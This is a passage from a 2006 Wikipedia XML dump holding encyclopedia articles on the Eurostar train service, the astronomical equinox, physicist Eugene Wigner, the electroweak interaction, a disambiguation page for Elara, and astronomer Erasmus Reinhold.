*[http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO1&amp;Sect2=HITOFF&amp;d=PALL&amp;p=1&amp;u=/netahtml/srchnum.htm&amp;r=1&amp;f=G&amp;l=50&amp;s1=31,128.WKU.&amp;OS=PN/31,128&amp;RS=PN/31,128 US Patent 31,128: Improvement in Hoisting Apparatus]
*[http://www.schindler.com/man/com/webmanen.nsf/pages/prod-elev-comp-miconic10-01 Schindler] Miconic 10 dispatch system

[[Category:Elevators|*]]
[[Category:Vertical transportation devices]]
[[Category:Building engineering]]

[[zh-min-nan:Liû-lông]]
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[[es:Ascensor]]
[[fr:Ascenseur]]
[[ko:승강기]]
[[id:Lift]]
[[he:מעלית]]
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[[ja:エレベーター]]
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[[zh:電梯]]</text>
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  </page>
  <page>
    <title>Eurostar</title>
    <id>10093</id>
    <revision>
      <id>41978209</id>
      <timestamp>2006-03-03T00:28:52Z</timestamp>
      <contributor>
        <username>Canderra</username>
        <id>487453</id>
      </contributor>
      <minor />
      <comment>/* Additional information */ moved links to first occurance and added mph conversion in brackets</comment>
      <text xml:space="preserve">{{Infobox Rail companies |
bgcolor=333333|
image_filename=Eurostar_at_Vauxhall.jpg|
widthpx=300px|
franchise=Eurostar|
logo_filename=Eurostar logo.gif|
nameforarea=Route|
regions=[[London]]-[[Lille]]-[[Brussels]],&lt;br&gt;[[London]]-[[Paris]]|
secregions=[[Lille]]-[[Disneyland Paris]]-[[Avignon]],&lt;br&gt;[[Lille]]-[[Bourg-St-Maurice]]|
fleet=27|
stations=11|
parent_company=Eurostar Group|
website=www.eurostar.com|
websitename=www.eurostar.com|
}}

:''This article is about high-speed trains between London and Brussels / Paris. For Italian trains called'' Eurostar'', see'' [[Eurostar Italia]].
'''Eurostar''' is a train service that connects [[London]] ([[Waterloo station]]) with [[Paris]] ([[Gare du Nord]]) and [[Brussels]] ([[South station (Brussels)|South station]]). Trains cross the [[English Channel]] via the [[Channel Tunnel]]. The French and Belgian sections of the route use the same [[high-speed rail]] lines as the [[TGV]] and [[Thalys]], and in England a new line is being built to the same standard. This is a two-phase project known as the [[Channel Tunnel Rail Link]] project (CTRL).

The first revenue-earning Eurostar trains ran in November [[1994]]. Eurostar has established a dominant share of the market on the routes it serves - 68% for London-Paris and 63% for London-Brussels, as of [[November 2004]]. The company points out that these passenger figures represent a saving of 393,000 [[carbon dioxide]]-producing short-haul flights.

The journey time from [[London]] to [[Paris]] is currently 2 hours 35 minutes; London to Brussels is 2 hours 20 minutes. These times will be cut by 20 minutes in [[2007]] when the construction of the second phase of CTRL is completed, bringing the [[United Kingdom|British]] portion of the route up to the same standards as the [[France|French]] and [[Belgian]] sections. Completion of the CTRL will also allow a significant increase in the number of Eurostar trains serving London. After phase two is completed, up to 8 trains per hour in each direction could travel the route from London to the continent, as timetabling would be unaffected by peak hour restrictions at [[Waterloo station|London Waterloo]] and conflicts between Waterloo and [[Fawkham Junction]].

In addition to the three destination cities, some Eurostar services currently stop en route at [[Ashford International railway station|Ashford International]] in [[Ashford, Kent]] and at [[Calais|Calais Frethun]] and [[Lille]] in northern France. From 2007 all Eurostar trains will be routed through the CTRL to a new London terminus at [[St. Pancras Station|St Pancras]]. The company had intended to retain some services to the existing [[Waterloo Station|Waterloo]] terminal, but this was ruled out on cost grounds. Some trains will additionally serve new stations at [[Ebbsfleet]] near [[Dartford]] in north-west Kent and [[Stratford International station]] in east London (not to be confused with [[Stratford station]], or Stratford Regional station as it will be called when Stratford International station is opened)

==Organisation==
Eurostar services are now managed under a unified management, the Eurostar Group. In each country a member company undertakes Eurostar operation:
*[[Belgium]] &amp;mdash; [[NMBS/SNCB]]
*[[France]] &amp;mdash; [[SNCF]]
*[[United Kingdom]] &amp;mdash; [[Eurostar (U.K.) Ltd.]] or (EUKL)
**EUKL managed (under contract) by [[InterCapital and Regional Rail]] (ICRR), a consortium of:
***[[National Express Group]] (40%), 
***[[SNCF]] (35%)
***[[NMBS/SNCB]] (15%) 
***[[British Airways]] (10%).

[[image:Eurostar_on_CTRL.jpg|thumb|right|A Eurostar on the CTRL near Ashford]]

==Additional information==

* The trains themselves are 400 metres long, weigh 800 tonnes and carry 750 passengers in 18 carriages (14 carriages for the 7 UK regional sets). In case of an incident in the [[Channel Tunnel]] the trains can be divided in two in order to evacuate the passengers in the unaffected carriages.

* In Britain the trains are classified as [[British Rail Class 373]] units, and they were constructed by GEC-Alsthom (now [[Alstom]]) at its La Rochelle (France), Belfort (France) and Washwood Heath (England) sites. They can run on [[third rail]] and various [[catenary]] voltages, achieving a maximum in-service speed of 300 [[Kilometre per hour|km/h]] (186.4 [[Miles per hour|mph]])when collecting current from a 25 kV overhead catenary. They are essentially modified [[TGV]] sets, and some Eurostar trains not needed for Channel runs are now used in regular TGV service by the French national railway. In [[July 2003]] a Eurostar train set a new UK rail speed record of 334.7 km/h (208.0 mph) during safety testing on the first section of the CTRL.  This section opened for commercial services in [[September 2003]] and has helped increase passenger numbers by as much as 20%, as well as shortening journey times by 20 minutes.

* The 27 normal Eurostar-sets are being refurbished with a new interior, designed by [[Philippe Starck]], from [[September 2004]] on. The grey-yellow look (in Standard class) and the grey-red look (In First/Premium First) has been replaced with a more grey-brown look in Standard, and a grey-burnt orange in First class.  The Premium First class will be removed from sale in [[September 2005]] as the company looks to simplify its fare structure.

* Eurostar also run services to [[Disneyland Paris]], to [[Avignon]] in summer, and - in the skiing season - to [[Bourg-Saint-Maurice]], [[Aime-la-Plagne]] and [[Moutiers]] in the French [[Alps]]. It was originally intended to run &quot;regional Eurostars&quot;, direct services to Paris and Brussels from places in the United Kingdom other than London. This proved not to be financially viable, but some of the shorter Eurostar trains intended for those services are now operated by GNER (the [[Great North Eastern Railway]]) entirely within the UK, on the [[East Coast Main Line]] from London's [[King's Cross railway station]] to Leeds. 'Nightstar' sleeper trains constructed for the international service were also never used, and the trains were sold to [[VIA Rail]] in Canada, which has branded them as Renaissance Cars [http://www.viarail.ca/classes/en_serv_visi_renai.html].

* [[Eurotunnel]], the company that built and runs the Channel Tunnel, is a completely separate entity from Eurostar.

== External links ==
{{commonscat|Eurostar}}
* [http://www.eurostar.com/ Eurostar Homepage]

{{Channel tunnel}}
{{British TOCs}}
{{High-speed trains}}

[[Category:High-speed trains]]
[[Category:Railway companies]]
[[Category:Rail transport in France]]
[[Category:Rail transport in Great Britain]]
[[Category:Rail transport in Belgium]]

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[[pl:Eurostar]]
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[[sv:EuroStar]]</text>
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  </page>
  <page>
    <title>Eurostar train</title>
    <id>10094</id>
    <revision>
      <id>15907930</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <username>Mintguy</username>
        <id>3295</id>
      </contributor>
      <comment>moved to &quot;Eurostar&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Eurostar]]
</text>
    </revision>
  </page>
  <page>
    <title>Electric multiple unit</title>
    <id>10099</id>
    <revision>
      <id>15907933</id>
      <timestamp>2003-08-27T18:09:24Z</timestamp>
      <contributor>
        <username>Patrick</username>
        <id>4388</id>
      </contributor>
      <text xml:space="preserve">#REDIRECt [[Multiple unit]]</text>
    </revision>
  </page>
  <page>
    <title>Equinox</title>
    <id>10100</id>
    <revision>
      <id>41295636</id>
      <timestamp>2006-02-26T09:59:37Z</timestamp>
      <contributor>
        <username>Yaohua2000</username>
        <id>50800</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">{{dablink|This article is about the astronomical phenomenon. For other senses of the word &quot;equinox&quot; see [[equinox (disambiguation)]].}}
&lt;br clear=&quot;right&quot; /&gt;
&lt;table class=&quot;wikitable&quot; align=&quot;right&quot; style=&quot;text-align: center; margin: 0em 0em 1em 1em&quot;&gt;
&lt;tr&gt;
	&lt;th colspan=3&gt;'''Equinox dates/times'''&lt;br&gt;([[Universal Time]])&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
	&lt;th&gt;Year&lt;/td&gt;
	&lt;th&gt;Spring starts&lt;br&gt;([[March]])&lt;/td&gt;
	&lt;th&gt;Autumn starts&lt;br&gt;([[September]])&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
	&lt;th&gt;2000&lt;/td&gt;
	&lt;td&gt;20th Mar 07:35&lt;/td&gt;
	&lt;td&gt;22nd Sep 17:27&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
	&lt;th&gt;2001&lt;/td&gt;
	&lt;td&gt;20th Mar 13:31&lt;/td&gt;
	&lt;td&gt;22nd Sep 23:04&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
	&lt;th&gt;2002&lt;/td&gt;
	&lt;td&gt;20th Mar 19:16&lt;/td&gt;
	&lt;td&gt;23rd Sep 04:55&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
	&lt;th&gt;2003&lt;/td&gt;
	&lt;td&gt;21st Mar 01:00&lt;/td&gt;
	&lt;td&gt;23rd Sep 10:47&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
	&lt;th&gt;2004&lt;/td&gt;
	&lt;td&gt;20th Mar 06:49&lt;/td&gt;
	&lt;td&gt;22nd Sep 16:30&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
	&lt;th&gt;2005&lt;/td&gt;
	&lt;td&gt;20th Mar 12:33&lt;/td&gt;
	&lt;td&gt;22nd Sep 22:23&lt;/td&gt;
&lt;/tr&gt;
&lt;tr bgcolor=&quot;gold&quot;&gt;
	&lt;th&gt;2006&lt;/td&gt;
	&lt;td&gt;20th Mar 18:26&lt;/td&gt;
	&lt;td&gt;23rd Sep 04:03&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
	&lt;th&gt;2007&lt;/td&gt;
	&lt;td&gt;21st Mar 00:07&lt;/td&gt;
	&lt;td&gt;23rd Sep 09:51&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
	&lt;th&gt;2008&lt;/td&gt;
	&lt;td&gt;20th Mar 05:48&lt;/td&gt;
	&lt;td&gt;22nd Sep 15:44&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
	&lt;th&gt;2009&lt;/td&gt;
	&lt;td&gt;20th Mar 11:44&lt;/td&gt;
	&lt;td&gt;22nd Sep 21:18&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
	&lt;th&gt;2010&lt;/td&gt;
	&lt;td&gt;20th Mar 17:32&lt;/td&gt;
	&lt;td&gt;23rd Sep 03:09&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
	&lt;th&gt;2011&lt;/td&gt;
	&lt;td&gt;20th Mar 23:21&lt;/td&gt;
	&lt;td&gt;23rd Sep 09:04&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
	&lt;th&gt;2012&lt;/td&gt;
	&lt;td&gt;20th Mar 05:14&lt;/td&gt;
	&lt;td&gt;22nd Sep 14:49&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

An '''equinox''' in [[astronomy]] is the moment when the [[Sun]] passes over the equator. The event occurs twice a year, around March 21 and September 23. The word ''equinox'' derives from the Latin word for ''equal night''. The equinoxes are the two days each year when the middle of the Sun is an equal amount of time above and below the horizon for every location on Earth.

In the [[Northern Hemisphere]], the [[March equinox]] is known as the [[vernal equinox]] and the [[September equinox]] is the [[autumnal equinox]]. In the [[Southern Hemisphere]], the names are reversed.  

In practice, at the equinox, the day is longer than the night. Commonly the [[day]] is defined as the period that sunlight may reach the ground in absence of local obstacles. This is firstly because the Sun does not appear as a single point of light, but as a disc. So when the middle of the Sun is still below the horizon, the topmost edge is already visible and sheds light. Furthermore, the atmosphere refracts light downwards, so even when the topmost edge of the Sun is really still below the horizon, its rays already reach around the horizon to the ground. These effects together make the day about 14 minutes longer than the night (at the equator, and more towards the poles). The real equality of day and night happens a few days towards the winter side of the equinox.

==Equinoctial point==

The equinoxes can also be interpreted as virtual points in the sky. Although, during full daylight, stars other than the Sun are overwhelmed by sunlight, making it hard to see where the Sun is compared to other celestial bodies, the Sun does have a position (as seen from Earth) relative to the other stars. As Earth moves around the Sun, the apparent position of the Sun relative to the other stars moves in a full circle over the period of a year. This circle is called the ecliptic, and is also the plane of Earth's orbit projected against the whole sky. The other bright planets like Venus, Mars and Saturn, also appear to move along the ecliptic, because their orbits are in a similar plane to Earth's. 

Another virtual circle in the sky is the celestial equator, or the projection of the plane of Earth's equator against the whole sky. Because Earth's axis of rotation is tilted relative to the plane of Earth's orbit around the Sun, the celestial equator is inclined to the ecliptic by about 23.5 degrees.

Twice a year, the Sun, making its progress around the ecliptic, crosses the plane of Earth's equator. The two intersections between [[ecliptic]] and [[celestial equator]] are the equinoctial points.

The time at which the Sun passes through each equinoctial point can be calculated precisely and the equinox actually occurs at a particular moment. The days at which the Sun passes through these points may occur at different dates at different places on the Earth because of the timezone difference (occurring before midnight in one place and after midnight in the other).

Scientist [[Hipparchus]] used the equinoctial point to divide the day into twenty-four equinoctial hours (the length required for the Earth to perform one full rotation). Before the method was discovered, the hours of a day varied in length and according to the [[season]]; it was longer in the [[summer]] and shorter in the [[winter]].

==Apparent behaviour of the Sun==
[[Image:Earth-lighting-equinox EN.png|thumb|right|320px|Illumination of [[Earth]] by [[Sun]] on the day of equinox]]
On the equinoxes, everywhere over the globe, the Sun rises true east (parallel to lines of [[latitude]]), sets at true west, and the length of the day equals the length of the night.

===March equinox===

At the [[North pole]] the Sun passes from a 6-month-long night to a 6-month-long day.

At the [[Arctic circle]] the Sun reaches an altitude of 23.5° in the South.

At the [[Tropic of Cancer]] the Sun reaches an altitude of 66.5° in the South.

At the [[equator]] the Sun rises in a vertical line from the East on the horizon to the [[Zenith|zenith]], and then sets in a vertical line from the zenith to the West on the horizon.

At the [[Tropic of Capricorn]] the Sun reaches an altitude of 66.5° in the North.

At the [[Antarctic circle]] the Sun reaches an altitude of 23.5° in the North.

At the [[South pole]] the Sun passes from a 6-month-long day to a 6-month-long night.

===September equinox===

At the [[North pole]] the Sun passes from a 6-month-long day to a 6-month-long night.

At the [[Arctic circle]] the Sun reaches an altitude of 23.5° in the South.

At the [[Tropic of Cancer]] the Sun reaches an altitude of 66.5° in the South.

At the [[equator]] the Sun rises in a vertical line from the East on the horizon to the zenith, and then sets in a vertical line from the zenith to the West on the horizon.

At the [[Tropic of Capricorn]] the Sun reaches an altitude of 66.5° in the North.

At the [[Antarctic circle]] the Sun reaches an altitude of 23.5° in the North.

At the [[South pole]] the Sun passes from a 6-month-long night to a 6-month-long day.

==See also==
*[[Solstice]]
*[[Precession|Precession (of the Equinoxes)]]
*[[First Point of Aries]]
*[[First Point of Libra]]

==External links==
*[http://aa.usno.navy.mil/faq/docs/equinoxes.html Details about the Length of Day and Night at the Equinoxes]
* [http://www.gutenberg.org/dirs/1/2/3/4/12342/12342-h/12342-h.htm#E Equinoctial Points] - [[The Nuttall Encyclopaedia]]
*[http://www.spwebgames.com/daylight Java applet showing parts of the Earth in night and day] 
*[http://aa.usno.navy.mil/data/docs/EarthSeasons.html Table of times for Equinoxes, Solstices, Perihelion, and Aphelion in 1992-2020]
*[http://www.hermetic.ch/cal_sw/ve/ve.htm Dates and Times of Equinoxes and Solstices] has an [http://www.hermetic.ch/cal_sw/ve/ve.php online calculator].


[[Category:Spherical astronomy]]

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[[he:נקודת השוויון]]
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    </revision>
  </page>
  <page>
    <title>Eugene Wigner</title>
    <id>10101</id>
    <revision>
      <id>40357924</id>
      <timestamp>2006-02-20T01:06:43Z</timestamp>
      <contributor>
        <ip>142.103.168.16</ip>
      </contributor>
      <text xml:space="preserve">[[Image:EugeneWignerAlvinWeinberg.jpg|thumb|Eugene Wigner (left) and Alvin Weinberg]] 

'''Eugene Paul Wigner''' ([[Hungarian language|Hungarian]] '''Wigner Pál Jenő''') ([[November 17]], [[1902]] &amp;ndash; [[January 1]], [[1995]]) was a [[Hungary|Hungarian]] [[physicist]] and [[mathematician]] who received the [[Nobel Prize in Physics]] in 1963 &quot;for his contributions to the theory of the atomic nucleus and the elementary particles, particularly through the discovery and application of fundamental symmetry principles&quot;. Within the world of physics, Wigner was referred to as &quot;the Silent Genius&quot; as he was thought of by his contemporaries as the intellectual equal to Einstein, without the notoriety.

He was one of a generation of physicists of the [[1920s]] who remade the world of [[physics]]. This generation was a collection of people from [[Berlin]] to [[London]] to [[Zürich]] to [[Pisa]], though not quite yet to [[New York]] or [[Chicago, Illinois]].  The first physicists in this new generation &amp;mdash; [[Werner Heisenberg]], [[Erwin Schrödinger]], and [[Paul Dirac]], to name three &amp;mdash; created [[quantum mechanics]]. Quantum mechanics was a dazzling new world, which threw open dozens of fundamental physical questions. A new set of men (and a few women) came along behind them, to answer the first questions and pose others, often more complex.

Wigner was in this second set of physicists. He posed and answered some of the most profound questions of 20th-century physics. He laid the foundation for the theory of [[symmetry|symmetries]] in quantum mechanics. In the late [[1930s]], he extended his research into [[atomic nucleus|atomic nuclei]].

Between [[1939]] and [[1945]], this generation of physicists helped to remake the world again. This time it was a far greater, more public world they remade: one of armies, peoples, ideologies. They did it first by seeing that an [[atomic bomb]] could be built; and then by arguing that it must be built, in the United States, immediately; and finally by playing the crucial role in getting the bomb built, under terrible pressure.

Wigner was a giant of atomic bomb production as well.

Wigner was one of a group of renowned Jewish-Hungarian scientists and mathematicians from turn-of-the-century Budapest, including [[Paul Erdős]], [[Edward Teller]], [[John von Neumann]], and [[Leó Szilárd]]. Szilárd was probably Wigner's best adult friend. Von Neumann was a schoolmate and mentor, whom Wigner later described as &quot;the brightest man I have ever known on this Earth.&quot; Wigner was the only one of the four to win a [[Nobel Prize]].

==Early Life==

Wigner was born in [[Budapest]], [[Austria-Hungary]] (now [[Hungary]]), into a world where middle-class people had no automobiles, radio, gas or electricity &amp;mdash; and did not miss those things. That fact startled and pleased him as an old man.

In 1902, the great scientists of the world were also content without [[atomic theory]], [[quantum theory]], or [[relativity theory]]. Yet many of the best scientists felt that all the fundamental things of life had already been discovered &amp;mdash; all that remained was to fill in around the edges of the existing scheme.  

At age 11, Eugene had a brush with [[tuberculosis]], and for six weeks was kept at a sanitarium in the Austrian mountains with his mother. But his childhood was mostly happy. His parents were well matched and he loved his two sisters intensely. His family culture was serious and stable, with a typical Hungarian love of jokes. He loved to walk as a boy.

In the Lutheran [[Gymnasium (school)|Gymnasium]] he attended, he had the privilege of learning [[mathematics]] from [[László Rátz]], a devoted scholar and teacher who also tutored von Neumann. In [[1921]], after graduating from the Gymnasium, he studied at the Technische Hochschule in Berlin (today the [[Technische Universität Berlin]]).

Even more important, he attended the Wednesday afternoon colloquia of the German Physical Society. These colloquia featured such luminaries as [[Max Planck]], [[Max von Laue]], Rudolf Ladenburg, [[Werner Heisenberg]], [[Walther Nernst]], [[Wolfgang Pauli]] and &amp;mdash; most of all &amp;mdash; [[Albert Einstein]]. 

Wigner also met Leó Szilárd at the colloquium. Szilárd became at once Wigner's closest friend, and a man who remained an enigma and, sometimes, an irritant.

A third experience in Berlin was formative. Wigner worked at the [[Kaiser Wilhelm Institute]]&lt;!-- which one? -there were several --&gt;, and there met [[Michael Polanyi]], who would become, after László Rátz, Wigner's greatest teacher.

==Career==

In the late 1920s, Wigner explored deeply in the field of quantum mechanics, then being shaped by Heisenberg, Schrödinger and Dirac, to the mild disapproval of Einstein. A period at [[Göttingen]] as an assistant to the great mathematician [[David Hilbert]] proved a disappointment, as Hilbert was no longer intellectually active. But Wigner spent many, many hours in the library at Göttingen, and devoted himself to physics. Wigner laid the foundation for the theory of symmetries in quantum mechanics. In the late [[1930s]], he extended his research into atomic nuclei. He developed an important general theory of nuclear reactions. He was brilliant as a theorist (see for instance the [[Wigner-Eckart theorem]]), brilliant in the laboratory, and had a deep understanding of engineering as well.

By [[1929]], his papers were drawing wide notice in the physics world.

In [[1930]], Princeton University recruited Wigner and Von Neumann. When [[Adolf Hitler]] came to power in [[Germany]] in [[1933]], Wigner and von Neumann found safe haven in [[Princeton, New Jersey|Princeton]], [[New Jersey]], though they still spent half the year in Europe, traveling, studying and teaching. A more peaceful, modest man you could not find, but Wigner was deeply affronted by Hitler and saw immediately how dangerous he was. In later life, when people thanked him for being so perceptive, he always protested that it took no special perception at all to see Hitler's danger and evil; rather, he felt it took a special perception not to see it. 

In Princeton in [[1934]] Wigner introduced his sister Manci to the physicist Paul Dirac. They married, and the ties between Wigner and Dirac deepened. Wigner also spent time with Einstein, who had come to Princeton to join the [[Institute For Advanced Study]].  

In [[1936]], Princeton did not rehire Wigner, and he moved to the [[University of Wisconsin]]. There he met his first wife, a lovely physics student named Amelia Frank. But Ms. Frank died in [[1937]], and Wigner, in his grief, wanted to leave [[Madison, Wisconsin|Madison]]. On [[January 8]], [[1937]], Wigner became a [[naturalized citizen]] of the United States. Princeton had done a careful search for a superb young physicist, and the name they kept hearing from people was... Eugene Wigner. They invited him back and he accepted. He rejoined the Princeton faculty in the fall of [[1938]].

Though a professed political amateur, in [[1939]] and [[1940]], Dr. Wigner played a major role in agitating for a [[Manhattan Project]], which built the atomic bomb to defend the world against Hitler. Wigner was sorry to see atomic bombs dropped on [[Hiroshima]] and [[Nagasaki]]. Nevertheless, he remained a solid defender of the U.S. military, a patriot in his adopted country. Dr. Wigner always thought of his work on the atomic bomb as essentially defensive, and he would later become a major figure in the field of civil defense.

In [[1946]], Wigner accepted a job as director of research and development at Clinton Laboratory (now [[Oak Ridge National Laboratory]]) in [[Oak Ridge, Tennessee|Oak Ridge]], [[Tennessee]]. Not an administrator by background or temperament, Wigner left after a year and returned to teaching and research at Princeton University.

In the [[1950s]], he grieved the deaths of [[Enrico Fermi]], Einstein and Von Neumann. In [[1954]], he was troubled by the infamous case in which [[Robert Oppenheimer]] lost his security clearance. A major witness against Oppenheimer was Wigner's old friend, Edward Teller.

In [[1960]], already known as one of deep thinkers in the field of [[mathematical physics]], Wigner gave a thought-provoking insight into the power of mathematics in his best-known essay outside physics, now a classic paper, &quot;[[The Unreasonable Effectiveness of Mathematics in the Natural Sciences]]&quot;, in which he argued that biology and cognition could be the origin of physical concepts, as we humans perceive them, and that the happy coincidence that mathematics and physics were so well matched, seemed to be &quot;unreasonable&quot; and hard to explain.  The distinguished mathematician Andrew M. Gleason (see his interview in ''More Mathematical People: Contemporary Conversations'' by Donald J. Albers, Gerald L. Alexanderson, Constance Reid, Harcourt Brace Jovanovich, 1990), on the other hand, thought that Wigner's view was itself unreasonable: Mathematics is the science of order and patterns, so why should it be a mystery that given some order in the universe we should be able to select (or construct) a mathematical structure to fit the facts?  

In [[1963]], Wigner received the [[Nobel Prize in Physics]]. He professed never to have even considered the possibility that this might occur, and added: &quot;I never expected to get my name in the newspapers without doing something wicked.&quot;

Wigner was famous for his gentleness and elaborate courtesy to others. Once as a young man, he was lying on the lawn near the municipal swimming pool at  Göttingen with a German astronomer named Heckman. Heckman observed a line of ants crawling across Wigner's right leg and biting him. 

Heckman asked Wigner why he didn't kill the ants.  
&quot;Because I don't know which are the ones biting me,&quot; Wigner replied.

Once, following a lecture by Wigner, a member of the audience came up to ask him a question. Wigner listened, then replied, &quot;I am Mr. Wigner.&quot; (He pronounced his surname with an English &quot;W&quot; and the hint of a third syllable in the middle.) The questioner, confused, asked the question again. Again came the response, &quot;I am Mr. Wigner.&quot; Finally, someone broke the stalemate by pointing out that Wigner was feeling at a loss because he didn't know the man's name.  Too polite to ask, he had introduced himself in hopes of learning it.

In scientific meetings, both formal and informal, when someone proposed something, Wigner often answered simply &quot;I don't understand.&quot;  He was never pretentious, never afraid to seem foolish.

For a man of science, Wigner was oddly superstitious, hating to have 13 bills in his pocket, anxious to knock on a real piece of wood when he heard some good news.

In [[1992]], at the age of 90, he published a memoir, ''The Recollections of Eugene P. Wigner'' (assisted by Andrew Szanton). Wigner died three years later in Princeton.  

Near the end of his life his thought turned more philosophical. In his memoir, Wigner said: &quot;The full meaning of life, the collective meaning of all human desires, is fundamentally a mystery beyond our grasp. As a young man, I chafed at this state of affairs. But by now I have made peace with it. I even feel a certain honor to be associated with such a mystery.&quot;

== Wigner's friend paradox ==
[[Wigner's friend]] paradox is a [[thought experiment]] proposed by Wigner, and may be seen as an extension of the Schrödinger's cat thought experiment.

The Wigner's friend experiment asks the question: at what stage does a &quot;measurement&quot; take place? Wigner designed the experiment to highlight how he believed consciousness is necessary to the quantum mechanical measurement process. 

==References==
* Eugene P. Wigner. ''Symmetries and Reflections: Scientific Essays of Eugene P. Wigner.'' 
	
*Alvin M. Weinberg, Eugene P. Wigner ''Physical Theory of Neutron Chain Reactors''

*Eugene Paul Wigner, et al. ''Philosophical Reflections and Syntheses''

==See also==

* [[Wigner semicircle distribution]]
* [[Wigner quasi-probability distribution]]
* [[Particle physics and representation theory]]

==External links==
* [http://www.nobel-winners.com/Physics/eugene_paul_wigner.html Eugene Wigner]
* [http://www.nap.edu/readingroom/books/biomems/ewigner.html National Academy of Sciences biography]
* {{MacTutor Biography|id=Wigner}}
* [http://geratorp.bravehost.com/dmx/wigner-bio.html his contributions to the theory of the atomic nucleus and the elementary particles, particularly through the discovery and application of fundamental symmetry principles ]
* [http://alsos.wlu.edu/qsearch.aspx?browse=people/Wigner,+Eugene Annotated bibliography for Eugene Wigner from the Alsos Digital Library]


[[Category:1902 births|Wigner, Eugene Paul]]
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[[Category:Nobel Prize in Physics winners|Wigner, Eugene]]
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[[Category:Hungarian mathematicians|Wigner, Eugene]]
[[Category:Jewish scientists|Wigner, Eugene]]
[[Category:20th century mathematicians|Wigner, Eugene]]
[[Category:Naturalized citizens of the United States|Wigner, Eugene]]
[[Category:National Medal of Science recipients|Wigner]]

{{Link FA|hu}}

[[de:Eugene Paul Wigner]]
[[fr:Eugene Wigner]]
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[[he:יוג'ין ויגנר]]
[[hu:Wigner Jenő]]
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  </page>
  <page>
    <title>Electroweak interaction</title>
    <id>10103</id>
    <revision>
      <id>41341841</id>
      <timestamp>2006-02-26T18:43:51Z</timestamp>
      <contributor>
        <username>Xerxes314</username>
        <id>43566</id>
      </contributor>
      <comment>renaming in summary</comment>
      <text xml:space="preserve">In [[particle physics]], the '''electroweak interaction''' is the unified description of two of the four [[fundamental interaction]]s of nature: [[electromagnetism]] and the [[weak interaction]]. Although these two forces appear very different at everyday low energies, the theory models them as two different aspects of the same force. Above the unification energy, on the order of 10&lt;sup&gt;2&lt;/sup&gt;&amp;nbsp;[[GeV]], they would merge into a single '''electroweak force'''.

Mathematically, the unification is accomplished under an [[SU(2)|''SU''(2)]] &amp;times; [[U(1)|''U''(1)]] [[gauge theory|gauge group]]. The corresponding gauge [[bosons]] are the [[photon]] of electromagnetism and the [[W and Z bosons]] of the weak force. In the [[Standard Model]], the weak gauge bosons get their [[mass]] from the [[spontaneous symmetry breaking]] of the '''electroweak symmetry''' from ''SU''(2) &amp;times; ''U''(1)&lt;sub&gt;''Y''&lt;/sub&gt; to ''U''(1)&lt;sub&gt;em&lt;/sub&gt;, caused by the [[Higgs boson|Higgs mechanism]]. The subscripts are used to indicate that these are different copies of ''U''(1); the generator of ''U''(1)&lt;sub&gt;em&lt;/sub&gt; is given by ''Q'' = ''Y''/2 + ''I''&lt;sub&gt;3&lt;/sub&gt;, where ''Y'' is the generator of ''U''(1)&lt;sub&gt;''Y''&lt;/sub&gt; (called the [[hypercharge]]), and ''I''&lt;sub&gt;3&lt;/sub&gt; is one of the ''SU''(2) generators (a component of [[isospin]]). The distinction between electromagnetism and the weak force arises because there is a (nontrivial) linear combination of ''Y'' and ''I''&lt;sub&gt;3&lt;/sub&gt; that vanishes for the Higgs boson (it is an eigenstate of both ''Y'' and ''I''&lt;sub&gt;3&lt;/sub&gt;, so the coefficients may be
taken as &amp;minus;''I''&lt;sub&gt;3&lt;/sub&gt; and ''Y''):  ''U''(1)&lt;SUB&gt;em&lt;/sub&gt; is defined to be the group generated by this linear combination, and is unbroken because it doesn't interact with the Higgs.

For contributions to the unification of the weak and electromagnetic interaction between [[particle physics|elementary particles]] [[Sheldon Lee Glashow|Sheldon Glashow]], [[Abdus Salam]], and [[Steven Weinberg]] were awarded the [[Nobel Prize in Physics]] in [[1979]].

==See also==
*[[Fundamental force]]s
*[[Standard model (basic details)|Formulation of the standard model]]

&lt;!--Categories--&gt;

[[Category:Particle physics]]
[[Category:Electroweak theory]]

&lt;!--Interwiki--&gt;

[[ca:Interacció electrodèbil]]
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[[de:Elektroschwache Wechselwirkung]]
[[es:Modelo electrodébil]]
[[fr:Interaction électrofaible]]
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{{particle-stub}} {{quantum-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Elara</title>
    <id>10104</id>
    <revision>
      <id>40485522</id>
      <timestamp>2006-02-20T22:39:00Z</timestamp>
      <contributor>
        <ip>212.2.166.86</ip>
      </contributor>
      <text xml:space="preserve">'''Elara''' is the  name of more than one entity:

*[[Elara (moon)|Elara]] is a [[natural satellite|moon]] of [[Jupiter (planet)|Jupiter]].
*In [[Greek mythology]], [[Elara (mythology)|Elara]] was the mother of [[Tityas]].
*[http://www.elara.ie Elara] is also the name of a major [[Ireland|Irish]] [[computer hardware]] vendor.
{{disambig}}

[[hr:Elara]]</text>
    </revision>
  </page>
  <page>
    <title>Erasmus Reinhold</title>
    <id>10105</id>
    <revision>
      <id>40377842</id>
      <timestamp>2006-02-20T03:49:34Z</timestamp>
      <contributor>
        <ip>24.23.39.36</ip>
      </contributor>
      <comment>link</comment>
      <text xml:space="preserve">'''Erasmus Reinhold''' ([[October 22]], [[1511]] &amp;ndash; [[February 19]], [[1553]]) was a [[Germany|German]] [[astronomer]] and [[mathematician]].  He was born and died in [[Saalfeld]], [[Thuringia]], [[Germany]].

He was educated at the [[University of Wittenberg]], where he was first elected dean and later became rector. In [[1536]] he was appointed professor of mathematics by [[Philipp Melanchthon]].
Reinhold identified and catalogued a large number of stars.

